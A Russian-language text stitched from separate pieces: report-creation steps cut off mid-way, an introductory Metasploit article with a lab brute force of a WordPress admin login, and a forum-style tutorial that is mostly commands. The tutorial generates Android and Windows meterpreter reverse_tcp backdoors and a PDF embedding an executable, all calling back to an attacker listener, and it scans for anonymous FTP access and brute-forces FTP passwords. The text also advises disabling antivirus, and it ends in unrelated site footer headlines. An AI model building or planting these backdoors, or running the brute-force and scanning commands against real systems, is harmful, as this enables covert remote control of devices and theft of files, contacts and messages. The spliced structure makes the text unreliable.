Шаг 3 – В поле Имя укажите имя файла.

Шаг 4 – В поле « Разделы» проверьте параметры в соответствии с вашими требованиями.

Разделы

Шаг 5 – Аналогично, в поле «Параметры» проверьте параметры в соответствии с вашими требованиями.

Шаг 6 – В разделе « Отчет по электронной почте » вы можете ввести идентификаторы электронной почты получателей, которым вы хотите отправить отчет напрямую.

Шаг 7 – Далее нажмите кнопку « Создать отчет» .

Создать отчет

Ваш отчет создан. Далее, чтобы просмотреть все ваши отчеты, перейдите в Отчеты → Показать отчеты .

Показать отчеты

Вы можете просмотреть свои отчеты, нажав « Просмотр» в разделе « Действия» .

Говоря об анализе информационной безопасности сложно не упомянуть Metasploit. Мощный, открытый инструмент с продуманной архитектурой, сотнями контрибьюторов, включающий в себя тысячи модулей, обеспечивающих автоматизацию эксплуатации огромного количества уязвимостей. При этом оставаясь простым в использвании, он позволяет проводить аудиты не только профессиональным пентестерам, но и любому разработчику или администратору, обеспокоенным уровнем безопасности своего проекта.

Предыстория

История Metasploit берет начало в 2003 году. HD Moore, работая пентестером в небольшой консалтинговой компании, замечает ряд неудобств в организации хранения и использования средств анализа безопасности. На тот момент, это был просто набор разрозненных эксплойтов и скриптов, общая информация о которых хранилась в базе данных. Информация о необходимом окружении для запуска скриптов как правило отсутствовала. Также они несли в себе множество устаревшего кода, требовали модификации жестко прописанных путей для каждого конкретного случая и т.п., что весьма затрудняло рабочий процесс и усложняло разработку новых инструментов.

В Metasploit автор, пытаясь решить эту проблему, создает консольную утилиту на Perl с псевдографическим интерфейсом и включает в неё порядка 11 эксплоитов. Сообщество встретило первую версию Metasploit весьма холодно, изрядно критикуя, как архитектуру, так и саму идею. Тем не менее, HD Moore не сдается и даже находит сподвижника в лице spoonm, с которым они доводят до ума модульную архитектуру фреймворка и выпускают вторую версию в 2004 году. Со временем фреймворк начинает набирать популярность и обретать новых контрибьюторов.

Следующим значимым шагом был перевод Metasploit c Perl на Ruby, для того чтобы избежать ограничений Perl, обеспечить кроссплатформенность и добиться большей гибкости при разработке. В 2009 году фреймворк приобретает компания Rapid7, под эгидой которой продолжилось развитие opensource-версии, а также стали появляться коммерческие версии продукта. Сам фреймворк давно перерос статус простого набора для пентестера и сегодня можно его можно встретить (хотя и нечасто) даже в арсенале “мирных” системных администраторов и программистов.

Версии

На момент написания статьи Metasploit распространяется в 4-х версиях:

  • Framework — базовая версия с консольным интерфейсом;
  • Community — бесплатная версия, включающая дополнительно веб-интерфейс и часть функционала из коммерческих версий;
  • Express — для коммерческих пользователей, включает функционал позволяющий упростить проведение базовых аудитов и формирование отчетности по ним;
  • Pro — самая продвинутая версия, предоставляет расширенные возможности для проведения атак, позволяет формировать цепочки задач для аудита, составлять подробную отчетность и многое другое.

Помимо веб-интерфейса, доступного в версиях Community, Express и Pro, существуют такие проекты, как Armitage и Cobalt strike, предоставляющие GUI-интерфейс для фреймворка.

Установка

На текущий момент поддерживаются все актуальные версии Windows и большинство популярных дистрибутивов Linux. В обоих случаях разработчики предоставляют графический инсталлятор, так что проблем с установкой возникнуть не должно. Специализированные дистрибутивы для пентеста, такие как Kali Linux, Pentoo, Black Arch и некоторые другие уже включают Metasploit в свой состав.

Стоит отметить, что необходимо перед установкой выключить антивирусы и другие средства защиты, т.к. большинство из них распознают Metasploit, как вредоносную программу.

База данных

Еще один момент, который стоит учесть — это использование фреймворком базы данных для хранения информации о хостах, сервисах, уязвимостях и прочем. Наличие подключения к базе не является обязательным условием для функционирования фреймворка, тем не менее многие предпочтут использовать этот функционал, для удобства и повышения производительности.

Metasploit использует PostgreSQL, поэтому тебе понадобится установить её на свою систему. Затем убедиться, что запущены соотвествующие сервисы БД и фреймворка. Запустить их можно соотвествующими командами (команды приводятся для Kali Linux, могут отличаться в твоем дистрибутиве):

service postgresql start
service metasploit start

Далее проверим, что фреймворк успешно установил подключение. Откроем консоль Metasploit командой msfconsole, а затем выполним db_status, в ответ на которую система должна вернуть что соединение с базой установлено.

Структура фреймворка

Структура фреймворка

Сердцем Metasploit является библиотека Rex. Она требуется для операций общего назначения: работа с сокетами, протоколами, форматирование текста, работа с кодировками и т.п. На ней базируется библиотека MSF Core, которая предоставляет базовый функционал и “низкоуровневое” API. Его использует библиотека MSF Base, которая в свою очередь предоставляет API для плагинов, интерфейса пользователя (как консольного, так и графического), а также модулей.

На модулях стоит остановиться подробнее. Они делятся на несколько типов, в зависимости от предоставляемой функциональности:

  • Exploit — код эксплуатирующий определенную уязвимость на целевой системе (например, переполнение буфера);
  • Payload — код, который запускается на целевой системе после того, как отработал эксплоит (устанавливает соединение, выполняет шелл-скрипт и т.п.);
  • Post — код, который который запускается на системе после успешного проникновения (собирает пароли, скачивает файлы и т.п.);
  • Encoder — инструменты для обфускации модулей с целью избежать обнаружения антивирусами;
  • NOP — генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер;
  • Auxiliary — модули для сканирования сети, анализа трафика, и т.д.

Команды msfconsole

Не смотря на наличие графических интерфейсов, самым распространенным способом работы с Metasploit по прежнему остается консольный интерфейс msfconsole. Рассмотрим основные команды:

  • use — выбрать определенный модуль для работы с ним;
  • back — операция обратная use: перестать работать с выбранным модулем и вернуться назад;
  • show — вывести список модулей определенного типа;
  • set— установить значение определенному объекту;
  • run — запустить вспомогательный модуль после того, как были установлены необходимые опции;
  • info — вывести информацию о модуле;
  • search — найти определенный модуль;
  • check — проверить подвержена ли целевая система уязвимости;
  • sessions — вывести список доступных сессий.

Пентест WordPress

Вооружившись полученными знаниями, предлагаю в качестве “Hello world” провести простейший пентест сайта на WordPress.

Тестовое окружение

Для начала необходимо поднять тестовое окружение. Для этого я буду пользоваться связкой VirtualBox+Vagrant и проектом VCCW, который позволит развернуть готовую виртуалку с WordPress на борту буквально парой команд в консоли. Подробные инструкции ты сможешь найти на сайте проекта, здесь я покажу основные шаги.

Добавляем базовый образ:

vagrant box add miya0001/vccw

Затем скачаем с сайта проекта архив с Vagrantfile, кукбуками Chef и прочим, распаковываем, переходим в папку где лежит Vagrantfile, и выполним команду:

vagrant up

После этого у тебя должна подняться машина с развернутым WordPress, доступная по адресу 192.168.33.10. Стоит отметить, что это уже готовый сетап, где настроена база и заведена админская учетка. Логин и пароль от неё указаны на сайте, но мы их узнаем другим путем. :)

Пентест

Откроем консоль Metasploit.

msfconsole

Запустим поиск по слову WordPress, чтобы найти необходимый модуль.

search wordpress

Среди появившегося многообразия нас интересует модуль auxiliary/scanner/http/wordpress_login_enum который отвечает за брутфорс аутентификации WordPress.

Результаты поиска модулей по запросу “wordpress”

Выберем его для работы:

use auxiliary/scanner/http/wordpress_login_enum

Чтобы понять как его использовать можно ввести команду info, она выведет краткое описание модуля и список используемых параметров.

Прежде всего, укажем адрес хоста на котором расположен сайт.

set RHOSTS 192.168.33.10

Для брутфорса будет использоваться перебор по словарю. В данном случае известно, что пароль несложный, поэтому подойдет практически любой список ненадежных паролей, которых достаточно в сети. Укажем путь к нему.

set PASS_FILE /root/10k-common-passwords.txt

По умолчанию модуль продолжит перебирать пароли, даже встретив нужный. Это полезно, когда на сайте больше одной учетной записи. В нашем случае, нужно просто остановиться, когда пароль будет найден. Для этого тоже имеется соотвествующая опция.

set STOP_ON_SUCCESS true

Также можно запретить вывод в консоль всех малозначимых сообщений, вроде неудачных попыток авторизации.

set VERBOSE false

Теперь, когда подготовительные действия совершены, осталось ввести последнюю короткую команду и ждать результата:

run

Процесс перебора пароля по словарю в Metasploit

После окончания процесса мы увидим в выводе командной строки, что на сайте был найден пользователь с именем admin и пароль, который к нему подошел был тоже admin.

Результат работы модуля

Итог

Хотя мы и не рассмотрели сотой доли возможностей Metasploit, сегодняшний материал должен стать хорошей отправной точкой в освоении этого инструмента. В конце хотелось бы традиционно напомнить, о том, что любой инструмент можно использовать, как во благо, так и во вред. В неумелых руках использование отдельных компонентов этого фреймворка может нанести серьезный ущерб. Поэтому во-первых используй его только имея соотвествующее разрешение на исследование безопасности от владельца системы. В противном случае ты рискуешь поиметь серьезные проблемы с законом. Во-вторых, даже имея соотвествующее разрешение, не применяй его на продакшн-системах и в сети заказчика, а создай виртуальное, локальное окружение с необходимым софтом (подобно тому, как я показал в статье). Помимо безопасности такого подхода, в качестве бонуса ты получаешь возможность легко откатиться, версионировать, клонировать и совершать другие полезные действия которые помогут упростить исследование.

Ссылки

  • Официальный сайт Metasploit
  • Страница загрузок Metasploit
  • Один из лучших гайдов по Metasploit от Offensive security

prw.jpg

Введение

Рад приветствовать дорогих читателей! Я практически уверен, что все, кто читает данную статью, как минимум слышали про такой замечательный фреймворк как Metasploit. Данный фреймворк хранит в себе довольно богатую базу данных различных уязвимостей на любой вкус и цвет, которые только возможно проэксплуатировать. В этой статье хочу познакомить вас с некоторыми полезными и даже можно выразиться базовыми уязвимостями, которые здорово помогут вам в изучении сферы информационной безопасности и естественно в саморазвитии.

Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.

Практическая часть

Итак, конечно же все действия будут проводиться на моей любимой Kali Linux, тем более там этот фреймворк уже предустановлен, поэтому если что, можно сразу к командам приступать и не париться.

Бэкдор на андроид

Здесь мы будем генерировать полезную нагрузку на андроид устройствах, делается всё довольно просто.

Мы вписываем вот такую команду для генерации:

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.0.9 lport= 4444 R> Test.apk

Что же означает данная команда? Давайте разберём!

  • Часть строки, где написано android, указывает на операционную систему, под которую генерируется полезная нагрузка;
  • meterpreter/reverse_tcp означает то, что подключаться к хосту данный бэкдор будет по протоколу tcp;
  • lhost = 192.168.0.9 означает IP хоста, к которому будет подключаться бэкдор. Так как в рамках тестирования и ознакомления всё будет проходить в локальной сети, я ввёл свой локальный IP адрес. Для того, чтобы можно было подключиться из глобальной сети к вам, соответственно, нужен будет глобальный ваш IP адрес и при реверс инжиниринге бэкдора, его будет довольно легко выявить;
  • lport = 4444 это собственно порт, по которому бэкдор будет обращаться к нам;
  • И как не сложно догадаться, в строчке R > Test.apk задаётся название нашей полезной нагрузке.

После того как она сгенерировалась, у вас в каталоге появиться ваш apk файл. Теперь я закидываю бэкдор на тестовое устройство android, но перед тем как его закинуть, нужно подготовиться к ловле сессии в нашем фреймворке. Для этого нам нужно будет его запустить вот этой командой msfconsole.

После того как мы его запустили, нам нужно выбрать нашу полезную нагрузку, а для этого вписываем последовательно следующие команды:

use exploit/multi/handler

в данной команде мы выбираем эксплоит удалённого доступа

set payload android/meterpreter/reverse_tcp

здесь мы выбираем платформу и способ подключения

set lhost 192.168.0.9

задаём наш хост

set lport 4444

задаём порт

exploit

ну и собственно запускаем

1676302650481.png

Ну теперь я устанавливаю и открываю файл полезной нагрузки, и на экране моментально получаю сессию к моему устройству. Спектр возможностей удалённого доступа здесь весьма обширный. Можно сделать фотку через любую из камер телефона, лазить по директориям и скачивать какие-либо файлы, делать полный дамп номеров в телефонной книге, сообщений и звонков, узнать местоположение и многое многое другое.

Бэкдор на Windows.

Ну здесь всё происходит впринципе аналогичным образом, нужно будет поменять лишь несколько строчек.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.9 lport= 4444 R> Test2.exe

Команда так же весьма проста и понятна, поэтому переходим сразу к нашему фреймворку. Запускаем его msfconsole.

Ну и далее так же по очереди запускаем следующие команды

Код:

use exploit/mulit/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.9

set lport 4444

exploit

1676302664533.png

Далее аналогичным образом проверяем всё это дело на Windows по средством запуска и сессия готова.

Эксплоит в PDF

Так же для фреймворка не составит труда сгенерировать PDF файл с полезной нагрузкой и аналогичным образом подключиться к нему. Давайте же приступим!

Здесь уже msfvenom нам не понадобиться, будем всё делать прямиком в метасплоите, поэтому снова его запускаем msfconsole.

Далее прописываем вот такие команды:

Код:

use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs

Здесь будет задействован эксполит, который будет встроен в PDF файл

Код:

set lhost 192.168.0.9

set lport 4444

set filename Test3.pdf

Здесь задаём имя нашему файлу

1676302691690.png

Ну и далее генерируется полезная нагрузка в виде файла PDF. Подключиться можно будет так же через multi/handler. То есть просто не выходя из консоли прописываем:

Код:

use exploit/multi/handler

set lhost 192.168.0.9

set lport 4444

exploit

Ну и ждём сессии.

Вход по ftp

Так же наш фреймворк может спокойно просканировать диапазон IP адресов на возможность подключения к какому-либо с помощью ftp через логин Anonymous

Для этого мы запускаем наш фреймворк msfconsole.

И вводим следующие команды:

Код:

use auxiliary/scanner/ftp/anonymous

Выбираем наш сканер

Код:

set RHOSTS 192.168.1.200-254

Выбираем диапазон адресов для сканирования

Ну и собственно далее на экране у нас будут адреса на которых есть ftp и к которым можно подключиться через логин Anonymous без пароля и легко получить доступ.

1676302705781.png

Таким же образом можно и подбирать логин с паролем к диапазону адресов, для этого вводим следующие команды:

Код:

set RHOSTS 192.168.69.50-254
set THREADS 205
set USERNAME msfadmin
set PASSWORD msfadmin
set VERBOSE false
run

1676302718311.png

Ну и далее мы увидим адреса на которых есть ftp и к которым можно подключиться используя заданные вами логин и пароль для подбора.

Заключение

Сегодня поведал вам немного о такой волшебной и удивительной штуке как Metasploit Framework. И у него весьма широкий спектр применений, через него можно выполнять практически все ключевые задачи в тестировании чего-либо на уязвимость, но опять же повторюсь, что данная статья не побуждает к злонамеренным действиям и несёт лишь ознакомительный характер.

Понравилась статья? Поделить с друзьями:
  • Тримпликсан от давления цена таблетки инструкция по применению взрослым
  • Какая информация из должностной инструкции необходима при разработке текста
  • Руководство сотен демонов аниме все сезоны
  • Работа таргетолога в вк пошаговая инструкция
  • Гирудоид форте гель инструкция по применению